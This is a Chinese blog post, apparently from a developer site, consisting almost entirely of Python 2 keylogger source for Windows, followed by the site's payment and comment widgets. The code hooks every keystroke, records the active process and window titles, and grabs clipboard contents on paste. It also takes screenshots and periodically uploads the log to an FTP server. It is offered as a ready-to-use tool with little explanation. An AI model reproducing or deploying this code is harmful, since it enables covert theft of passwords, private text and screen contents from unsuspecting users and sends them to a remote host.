python监控客户端进程与键盘记录并上传至服务器

# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
from inc import MyFtp
from inc import ScreenShot
import time
import os
 
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def my_write_log(logfile,content):
    logfile = logfile+'.txt'
    fHandle = open(logfile,'a')
    fHandle.write(content)
    fHandle.close()
 
# 
def get_current_process():
 
    # 获取最上层的窗口句柄

    hwnd = user32.GetForegroundWindow()
 
    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
 
    # 将进程ID存入变量中
    process_id = "%d" % pid.value
 
    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 
    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    #byref()是用来传递引用参数,pointer()作为传参通常会创建一个实际的指针对象,当不需要实际指针对象时,则可使用byref()
    # 打印
    logfile = open("hook.log","a")
    print "writing..."
    print>>logfile,"[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    logfile.close()
    print
 
    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
 
# 定义击键监听事件函数
def KeyStroke(event):
 
    global current_window
    ScreenShot.window_capture("E:/pydev/Eobject/image/")
    filestat = os.stat('hook.log')
    diff_time =  time.time() - filestat.st_mtime
    if diff_time>30:
        ftp = MyFtp.XMyFtp()
        ftp.UploadFile('hook.log','inc/hook.log')
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()
 
    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii),
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
# while True:
#     ftp.UploadFile('hook.log','inc/hook.log')
#     time.sleep(20)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值